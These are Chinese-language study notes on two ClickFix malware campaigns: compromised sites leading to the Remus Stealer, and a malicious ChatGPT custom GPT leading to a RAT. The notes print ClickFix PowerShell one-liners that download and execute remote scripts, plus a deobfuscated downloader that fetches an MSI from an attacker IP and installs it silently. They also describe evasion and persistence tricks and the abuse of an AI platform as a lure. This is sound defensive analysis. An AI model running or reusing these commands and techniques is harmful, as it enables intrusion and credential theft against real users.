ClickFix攻击活动学习
ClickFix攻击活动学习
近期又拜读了两篇博客,一篇是 SpiderLabs Blog(蜘蛛实验室博客)的Inside PhantomPolia: Remus Stealer Delivery via Donut Shellcode in ClickFix Campaign(2026-10-7),另一篇是 Huntress 官方博客 的Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix(2026-9-28),原文见文末链接。
本文是我的学习笔记,技术事实以原报告为准。
一、背景:让用户自己感染自己
ClickFix 不是某一款具体病毒,而是一套成熟的恶意代码投递攻击框架与社会工程学手法。它的核心逻辑是:不依赖软件漏洞,而是靠伪造 “人机验证、系统报错、内容加载失败” 等常见界面,诱骗用户手动复制粘贴并执行恶意命令,借用户自身权限完成恶意代码落地,因此能轻松绕过浏览器沙箱和传统文件型杀毒软件的检测。
二、第一种场景:基于被攻陷的网站
第 1 阶段:访问被黑网站,触发 PhantomPolia 加载器(JavaScript 层)
SpiderLabs Blog(蜘蛛实验室博客)中提到攻击者先入侵了一批正常网站,在网页源码里偷偷嵌入一段名为 PhantomPolia 的恶意 JavaScript 代码。
用户只要正常打开这个网站,浏览器就会自动运行这段代码。它本身不直接破坏系统,只做一件事:去区块链上读取加密配置,在本地解密出第二阶段的服务器地址。
PhantomPolia通过公共远程过程调用(RPC)端点从以太坊 Sepolia 智能合约中获取加密配置。加载器随后利用 PBKDF2 和 AES-GCM 在本地解密配置,揭示下一阶段的命令与控制(C2)域,而不会直接暴露在被攻破的站点。
RPC 端点:访问区块链的公共接口,相当于 “查询区块链的公共窗口”。恶意脚本通过这些免费的公共接口读取合约数据,不需要自己搭建区块链节点。
以太坊 Sepolia 测试网:以太坊是主流区块链平台,Sepolia 是官方给开发者免费测试用的 “实验链”。攻击者把加密后的服务器地址存在这条链上的智能合约里,借公共基础设施藏自己的行踪。
智能合约:区块链上一段自动运行、永久存证的小程序。这里攻击者把它当 “加密公共留言板”:所有人都能读到加密数据,但只有持有解密密钥的恶意脚本才能看懂真实内容。
本地解密过程
脚本从合约拿到加密数据后,会在用户浏览器本地完成解密,全程不暴露明文地址:
- 用 PBKDF2 算法,把脚本自带硬编码的 “密码素材” 和区块链返回的 “盐” 混合,经过 10 万次运算,生成真正的 256 位解密密钥。
- PBKDF2:一种 “密钥拉伸” 算法 —— 把一个短密码反复哈希运算很多次,生成高强度的长密钥,运算次数越多,暴力破解越难。
- 盐(Salt):加密时加入的随机数据,相当于 “给加密加佐料”。哪怕密码相同,盐不同,最终生成的密钥也完全不同,防止批量破解。
- 用 AES-GCM 算法解密密文,生成 Base64 编码域。
- AES:全球通用的对称加密算法(加密、解密用同一把钥匙),银行、网银系统都在使用。
- GCM 模式:AES 的高级工作模式,既能加密数据,又能校验数据是否被篡改,安全性很高。
- IV(初始化向量):加密时的随机初始值,保证 “同样的内容 + 同样的密钥”,每次加密结果都不一样,避免安全人员通过密文规律反推内容。
将解码后的域与硬编码的脚本路径结合,构建下一阶段JavaScript负载的URL,转为ClickFix诱饵网站,诱使受害者执行PowerShell命令。
第 2 阶段:ClickFix 钓鱼页面投递(第二阶段 JavaScript)
第二阶段脚本先给访客 “摸底画像”:获取用户的 IP 地址、所在国家、浏览器与系统版本,生成专属 ID 并发给攻击者服务器登记。
服务器确认目标后,返回编码后的内容,在浏览器上渲染出 ClickFix 钓鱼验证页面。
这个页面会伪装成 “人机验证”“安全检查”,诱导用户按 Win+R 打开运行窗口,复制粘贴一段 PowerShell 命令并回车执行。
常见命令结构如下
1 | powerShell.exe -w h -ep bypass -c "iex((iwr '{domain}/check/update.ps1'-UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)" |
第三阶段: PowerShell 执行 (update.ps1)
用户把这段命令粘贴到运行窗口并回车后,系统会在完全隐藏的状态下,从攻击者服务器远程下载恶意脚本,并且不保存到硬盘、直接在内存中执行。全程用户看不到任何弹窗,也找不到可疑文件,后台就完成了下一阶段木马的加载。
update.ps1 脚本作为 PowerShell 执行链的一部分执行多个功能:
- 初始下载——使用请求特定的$id、$nonce和 $ts参数执行HTTPS请求,并结合重试逻辑和WindowsPowerShell用户代理,以获取下一阶段的PowerShell脚本。
- 密钥检索——向攻击者控制的服务器请求解密密钥,SHA-256对UTF-8编码密钥进行哈希,生成256位AES密钥。
- AES-CBC解密——用Base64解码加密内容,前16字节用作IV,其余字节作为密文处理,并使用带有PKCS#7填充的AES-256-CBC解密。
- 远程有效载荷检索——解密后的PowerShell阶段定义可执行文件名,并将下载的负载写入Windows临时目录(%TEMP%)。
第 4 阶段:AutoIt 脚本执行
下载的 EXE 并不是木马本身,而是AutoIt 解释器 + 恶意脚本的捆绑包。运行后会释放一个 .au3 后缀的脚本并执行:
- 脚本内藏着一大段 Base64 编码的加密数据;
- 调用 Windows 系统自带的 CryptoAPI 加密接口 解密数据,得到 Shellcode;
- 调用
VirtualAlloc系统函数,申请一块 “可读、可写、可执行” 的内存空间; - 把解密后的 Shellcode 复制进内存,调用
CreateThread创建线程,直接在内存里运行代码。
整个过程木马程序完全不写入硬盘,只存在于内存中,传统的文件型杀毒软件扫描硬盘时无法发现。
AutoIt:一款合法的 Windows 自动化脚本工具,原本用于软件测试、批量操作。因为它可以直接调用 Windows 系统 API,又能打包成独立 EXE,常被攻击者用来加载 Shellcode。
第 5 阶段:Donut 打包的 Shellcode
上一步解密出的 Shellcode,是用 Donut 工具打包处理过的。
Donut 可以把原本的 DLL/.NET 程序转换成纯 Shellcode,这样就能直接在内存里运行,不需要把 DLL 文件写到磁盘上。这段 Shellcode 在内存中自解压,最终加载出真正的有效载荷:Remus Stealer 窃密木马。
Donut:一款公开的知名工具,专门把 Windows 可执行程序(EXE/DLL)转成独立 Shellcode,原本供安全研究人员做渗透测试使用,被攻击者用来实现免杀和无文件攻击。
无文件攻击(Fileless Attack):恶意程序全程只存在于内存中,不在硬盘上留下可执行文件,传统基于文件扫描的杀毒软件几乎无法检测。
第 6 阶段:Remus Stealer 窃密木马运行
木马启动后,先和攻击者的 C2 服务器完成三步 “通信握手”,随后全面收集电脑中的敏感数据,加密后回传给攻击者。
通信三步流程
- 注册请求:木马向服务器发送活动 ID、时间戳、主机硬件指纹(HWID),告知服务器 “主机已上线”。
- C2 服务器(指挥控制服务器):攻击者的 “总指挥部”,用于管理所有受害主机、下发指令、接收窃取的数据。
- HWID(硬件指纹):根据电脑 CPU、主板等硬件信息生成的唯一编号,用于区分不同受害主机。
- 令牌分配:服务器返回一个
access_token(访问令牌),相当于 “临时身份证”,后续所有通信都携带该令牌验证身份。 - 数据上传:木马把窃取的所有数据压缩、加密后,通过网络请求发给服务器。
窃取的数据范围
- 系统信息:Windows 版本、CPU / 显卡配置、已安装杀毒软件、IP 地址、时区等;
- 浏览器数据:Chrome、Edge、火狐等所有主流浏览器保存的密码、Cookie、浏览记录;
- 加密货币钱包:比特币、以太坊等 20 余种钱包的私钥、助记词;
- 密码管理器:1Password、Bitwarden、KeePass 等几十种密码管理器的数据;
- 其他软件:Telegram、AnyDesk、FTP 工具、VPN 的账号密码;
- 二次验证器:谷歌验证器等 2FA 工具的数据;
- 屏幕截图:窃取数据时同步截取全屏画面一并发送。
数据加密方式
窃取的数据先用自定义 LZ77 算法压缩缩小体积,再用 ChaCha20 流加密算法 加密。
一个特殊的设计是:攻击者把 ChaCha20 的密钥和随机数(Nonce)直接附在加密数据末尾,安全人员只要捕获到网络流量,就能直接解密查看窃取的内容。
三、第二种场景:基于定制GPT
这次的场景主要是借助于像Claude、ChatGPT和Grok这样的AI模型的流行与一个合法的 ChatGPT 功能:定制 GPT。定制GPT允许用户为特定目的构建个性化版本的ChatGPT,从而包含相关的指令、知识文件和工具。这些网站都存在于合法 ChatGPT.com 网站上,网页顶部会显示自定义GPT名称,下面是开发者的个人资料。攻击者利用ChatGPT 自定义 GPT 作为社工入口,大大降低了受害者的怀疑程度,属于 AI 平台滥用社工攻击。
整体攻击链路(7 大阶段):
入口(社工诱饵)→ ClickFix 诱导执行 → PowerShell 多层混淆 → MSI 安装包落地 → DLL 侧加载执行恶意 DLL → 从伪装载体文件提取 Shellcode → 解密自制加密文件系统,执行 RAT、建立持久化
阶段 1:诱饵投递:恶意 Custom GPT(社工入口)
- 攻击者创建命名为
Plus 5.6的恶意自定义 GPT,伪装成官方 ChatGPT 模型,投放谷歌付费搜索广告,广告排在搜索结果顶部,把受害者引流到chatgpt.com域名下的恶意 GPT 页面(域名是 OpenAI 官方域名,HTTPS 证书合法,提升欺骗性)。 - 用户任何提问,GPT 固定返回伪造服务可用性告警,谎称主域名故障,提供一个 “备份域名” 链接,指向托管在 Google Sites 的钓鱼页面。
- Google Sites 页面伪装成 Cloudflare 人机验证页面,就是ClickFix 诱饵页,欺骗用户复制 PowerShell 命令,粘贴到 Win+R 运行窗口执行。
- OpenAI 下架第一个恶意 GPT 后,攻击者短时间内上线替换的新 GPT;同时还新增独立恶意域名
gptverification[.]com投放 ClickFix 页面,不依赖 Google Sites。
阶段 2:ClickFix 触发,PowerShell 执行
1 | powershell.exe -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp\1777.ps1;& $env:temp\1777.ps1" |
- 十进制数字 IP
1614733393等价于点分 IP96.62.224.81;Windows 原生支持十进制 IP 解析,很多安全规则只匹配点分格式 IP,可绕过简单网络过滤。 - 命令使用
irm(Invoke‑WebRequest)下载脚本,写入%TEMP%临时目录随机命名 ps1 脚本,随后执行。 - 下载下来的 ps1 是第一层混淆:由大量负整数数组构成,27000 + 字符,脚本运行时给每个数字加上固定偏移
1520498还原字符,使用[scriptblock]::Create内存执行,还原后的代码不会落盘。 - 第二层混淆:脚本内部所有字符串(下载地址、API 函数名)再次使用第二个密钥
6178128编码,几乎无明文特征,规避静态查杀。 - 解密完成后,脚本静默下载恶意 MSI 安装包,文件名是随机 GUID 前缀,如
ISOSimple.msi;调用msiexec /qn /norestart无窗口静默安装,脚本执行结束后自删除。
去混淆的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33# 启用TLS1.2
$ServicePointManagerType = [System.Type]::GetType("System.Net.ServicePointManager, System")
if ($ServicePointManagerType) {
try {
$ServicePointManagerType.GetProperty("SecurityProtocol").SetValue(
$null,
[Enum]::Parse([System.Net.Type]::GetType("System.Net.SecurityProtocolType, System"), "Tls12")
)
}
catch {}
}
# 新建WebClient对象,用来下载文件
$webClient = New-Object -TypeName Net.WebClient
# 下载地址:十进制IP 1614733393
$url = "http://1614733393/app/afafa98279c9/ISOSimple.msi"
$fileName = "ISOSimple.msi"
# 在系统临时目录生成【随机GUID名字 + 下划线 + 原文件名】
$savePath = [IO.Path]::Combine($env:TEMP, [guid]::NewGuid().ToString('n') + "_" + $fileName)
# 调用DownloadFile方法把MSI下载到临时目录
$webClient.DownloadFile.Invoke($url, $savePath)
# 调用msiexec静默安装这个MSI
$msiExe = $env:SystemRoot + "\System32\msiexec.exe"
$arguments = "/i `"$savePath`" /qn /norestart"
Start-Process -FilePath $msiExe -ArgumentList $arguments -WindowStyle Hidden -PassThru
# 清理临时标记文件(_ST环境变量指向的文件)
if ($env:__ST) {
Remove-Item -LiteralPath $env:__ST -Force -ErrorAction SilentlyContinue
}
阶段 3:恶意 MSI 安装包落地(V1 版本 ISOSimple.msi)
- MSI 对外伪装成打印机工具
Advanced Printer Configuration Reader,设置ARPSYSTEMCOMPONENT=1,不在控制面板 “程序和功能” 列表显示,用户很难发现安装痕迹。 - MSI 内置大量看似无害的文件:完整合法.NET5 运行库、示例资源文件,真正恶意文件只有 8 个。
- 安装结束立刻自定义动作启动**带有 Canon 官方数字签名的正常程序
COTFileReadApp.exe**。文件名 文件性质 在攻击链中的作用 COTFileReadApp.exe合法白文件(Canon 数字签名) 来自 Canon CaptureOnTouch 的正常程序,作为 DLL 侧加载的宿主进程。安装完成后由 MSI 自定义动作自动启动。 COTFileReadApp.dll合法白文件(Canon 原生代码) Canon 程序的配套 DLL,负责加载日志库 ceiinfolog.dll,是触发侧加载的入口。 ceiinfolog.dll被篡改的合法 DLL(签名已剥离) 原本是 Canon 的日志库,被攻击者修补:保留了原版导出函数和 PDB 调试路径,但导入表被新增了一项 rdCore.dll!instance_levels_,导致加载时自动带出恶意 DLL。 rdCore.dll纯恶意 DLL(无签名)核心加载器 版本信息伪装成 Polly 7.2.3(一个流行的.NET 容错库),实际是 C++/CLI 原生代码。负责从.wav 文件中提取并解密 Shellcode。 WPFLocalizeExtension.dll纯恶意 DLL(无签名) 盗用开源 WPF 本地化库的文件名,实际是原生代码,导出 split_parameters、Language、Mail 等函数,为 Shellcode 分配可执行内存并创建线程。 WMPCL.dll纯恶意 DLL(无签名) 由 rdCore.dll 在载荷运行前加载的辅助 DLL,配合完成内存解密与执行。 Common.Integrator.Preview.wav伪装载体文件 表面是一个标准 WAV 音频文件(16 位立体声 PCM,22050Hz),开头是真实音频数据,但在偏移 0x24362 处之后被覆盖为加密的 Shellcode 载荷(341,395 字节)。 monitor.raw自制加密归档 攻击者自定义的加密文件系统(类似自制加密 zip),包含 1128 个条目(315 个文件夹、806 个文件)。内部藏有持久化脚本和最终 RAT Shellcode(@input,1.58MB)。
重点:即使 Defender 识别并隔离
ISOSimple.msi,只要 MSI 已经运行完毕,持久化项已经写入系统,隔离 MSI 文件无法清除已植入的威胁。
阶段 4:DLL Sideloading(DLL 侧加载)突破
COTFileReadApp.exe(Canon 签名,白文件)会正常加载同目录下的ceiinfolog.dll(Canon 原本的日志库)。- 攻击者提供被修补篡改的 ceiinfolog.dll:保留原版导出函数、调试 pdb 路径、编译时间,但是移除数字签名,修改导入表,强制依赖恶意无符号 DLL
rdCore.dll。 - Windows 加载 DLL 时会优先读取程序自身目录的 DLL;只要加载
ceiinfolog.dll,操作系统自动加载依赖项rdCore.dll,恶意代码在合法签名进程空间运行,极大规避安全软件告警。 - 配套还有伪装名称的辅助恶意 DLL:
WPFLocalizeExtension.dll、WMPCL.dll。
V2 版本变体:全部替换为 **Stardock 签名程序
DeElevate64.exe**,修补对应的DeElevator64.dll,恶意 DLL 名字同步更换,攻击逻辑完全不变,仅更换白签名载体。
阶段 5:从伪装载体文件提取 Shellcode
- V1:载体文件
Common.Integrator.Preview.wav,具备标准 WAV 音频头,开头部分是真实音频数据;偏移0x24362之后,音频数据被覆盖为加密载荷。- 不是传统隐写,直接把密文覆盖音频后半段,文件工具识别为 wav,欺骗基于文件后缀 / 文件头的自动化扫描工具。
rdCore.dll定位该 wav 文件,读取指定偏移的数据,使用多变量滚动 XOR 算法解密,得到 x64 位置无关 Shellcode。
- V2 变体:不再用 wav,把载荷藏在微软 NuGet 包文件
Build.dat的压缩段内,混淆效果更强。
阶段 6:Shellcode 加载器执行(大量对抗 EDR / 沙箱)
解密出来的原始 shellcode 没有任何可读字符串,全部字符串运行时在栈上动态解密,能力包括:
- AMSI Bypass:绕过 Windows 反恶意软件扫描接口,阻止安全产品内存脚本检测。
- ntdll 解钩子(unhooking):重新映射干净 ntdll,绕过 EDR 对系统 API 的监控钩子。
- 反虚拟机检测:检测 VMware、VirtualBox、Hyper‑V、QEMU 等虚拟机驱动和服务,沙箱环境改变行为。
- 内存加载.NET 运行库,不需要落地.NET 程序集。
- 弹出虚假
LOADING...窗口迷惑普通用户。 - 寻找本地的自制加密归档文件:
monitor.raw(V2 为execute_engine_disconnect.raw)。
阶段 7:解析自制加密文件系统,部署持久化 + RAT
monitor.raw是攻击者自制的加密文件系统(自定义类 zip 归档),不是标准压缩格式:
- 内部包含 1128 个目录 / 文件条目,共 315 文件夹,806 个文件;索引和每个文件均使用主密钥 + 盐 + 单字节 XOR 加密,没有密钥无法解析。
- 归档内置一套攻击者自研脚本语言:实现双机制持久化
- 注册表 HKCU Run 启动项
- 计划任务
- 两者统一命名(V1:
Canon Configuration Reader,V2:Stardock DeElevation Tool);脚本会定时(Run 每 150 秒,计划任务每 875 秒)检测,一旦持久化项被删除会自动重建。 - 清除注意:必须先终止恶意进程,再删除注册表和计划任务,否则会瞬间复原。
- 归档内部
@input资源:最终 RAT 完整 Shellcode,内存直接执行。
RAT(远控木马)核心能力
- 主机侦察:WMI 查询杀毒软件、系统版本、网络适配器、端口、已安装软件、硬件指纹(同时作为反 VM 标识)。
- 远控能力:远程桌面、屏幕广播、摄像头 / 麦克风录音录像;内置文件管理器,支持全盘文件内容搜索。
- 载荷投放:可以内存或磁盘落地执行 EXE/DLL/MSI/PowerShell/BAT/ZIP 等各类恶意样本。
- C2 通信:使用**DoH(DNS‑over‑HTTPS)**,向 Cloudflare/Google/Quad9 做 DNS 查询,DNS 解析流量不出现在本地 DNS 日志;C2 地址不在本地文件中,运行时获取。
- 还会释放第三方合法签名程序
GOMCam2024.exe,启动带临时配置文件的 Chrome 浏览器作为后续行为载体。
总结
相同点
- 核心社工模式完全一致(ClickFix 本质)
- 依靠钓鱼页面欺骗用户手动复制 PowerShell 命令,Win+R 运行;
- 利用用户主动执行,绕过浏览器沙箱、网页防护;
- 欺骗话术大多伪装成人机验证、Cloudflare 验证。
- 初始载体都是 PowerShell
- 使用 powershell 原生参数
-w hidden / -ep bypass隐藏窗口、绕过执行策略; - 使用
iwr/irm从攻击者服务器拉取远程脚本; - 大量使用字符串混淆、数组编码,规避静态检测。
- 使用 powershell 原生参数
- 多层链式加载、多阶段解密
不是一次性落地完整木马,分多阶段下载、解密、加载,前一阶段只负责拉起下一阶段载荷,增加溯源和检测难度。 - 大量依赖系统原生白组件(LOLBins)
原生 PowerShell、.NET、系统 API,利用白程序执行恶意逻辑,降低 EDR 告警概率。 - 流量伪装
伪造正常浏览器 UA,模拟正常网页访问流量,规避简单流量检测。 - 目标:Windows 终端用户
针对普通 Windows 用户,以窃取信息 / 控制主机为目标。
| 对比 | LevelBlue:PhantomPolia + Remus Stealer | Huntress:ChatGPT Custom GPT + RAT |
|---|---|---|
| 社工入口 / 诱饵 | 被攻陷的网站、恶意 JS 钓鱼页面;没有依赖 AI 平台;使用区块链 Sepolia 死信箱(dead drop resolver)解析 C2 地址 滥用 ChatGPT 自定义 GPT + Google 广告引流; | 诱饵页面托管在 Google Sites;无区块链死信箱;直接硬码C2 / 下载地址 |
| 初始 PowerShell 行为 | 无文件攻击:下载脚本后直接iex内存执行,不落地文件到磁盘 | 落地型攻击:下载脚本后,下载恶意 MSI 包保存到 % TEMP%,调用msiexec静默安装 |
| 中间载荷载体 | AutoIt 脚本 → Donut 打包 Shellcode;Donut 用来把 PE 转为位置无关 Shellcode MSI 安装包(177 个文件,大量.NET5 白文件稀释恶意文件) | 依靠DLL 侧加载(DLL Sideloading),使用厂商签名程序作为宿主 |
| 白宿主 | 无厂商签名宿主,Donut 直接内存加载 | Canon(V1)/Stardock(V2)合法签名 EXE,篡改配套 DLL 实现侧加载,白进程承载恶意代码 |
| 载荷藏匿方式 | Shellcode 直接由 Donut 生成,内存执行 Shellcode | 藏在伪装文件里:V1 藏在 WAV 音频后半段;V2 藏在 NuGet Build.dat;额外存在自定义加密归档monitor.raw |
| 最终恶意样本 | Remus Stealer,窃密类木马;功能:窃取浏览器密码、加密货币钱包、凭证 | 全功能 RAT 远程控制木马 |
| 持久化 | AutoIt 内存执行,没有自修复持久化机制 | 双路持久化:注册表 Run + 计划任务;内置脚本定时校验、自动恢复持久化项,删除后会自动重建 |
| 对抗手段 | JS 混淆、Donut 壳、区块链死信箱隐匿 C2 | PowerShell 双层整数数组混淆、DLL 侧加载、AMSI Bypass、ntdll unhook、反虚拟机、自定义加密文件系统 |
| IOC 变更方式 | 更换 C2 地址、更换 JS 加载器 | 更换签名厂商(Canon→Stardock)、更换载体文件名、更换加密密钥,RAT 主体不变 |
| 痕迹特点 | 磁盘落地痕迹少,偏向无文件 | 会在 % LOCALAPPDATA% 释放一堆文件,存在大量磁盘文件痕迹 |
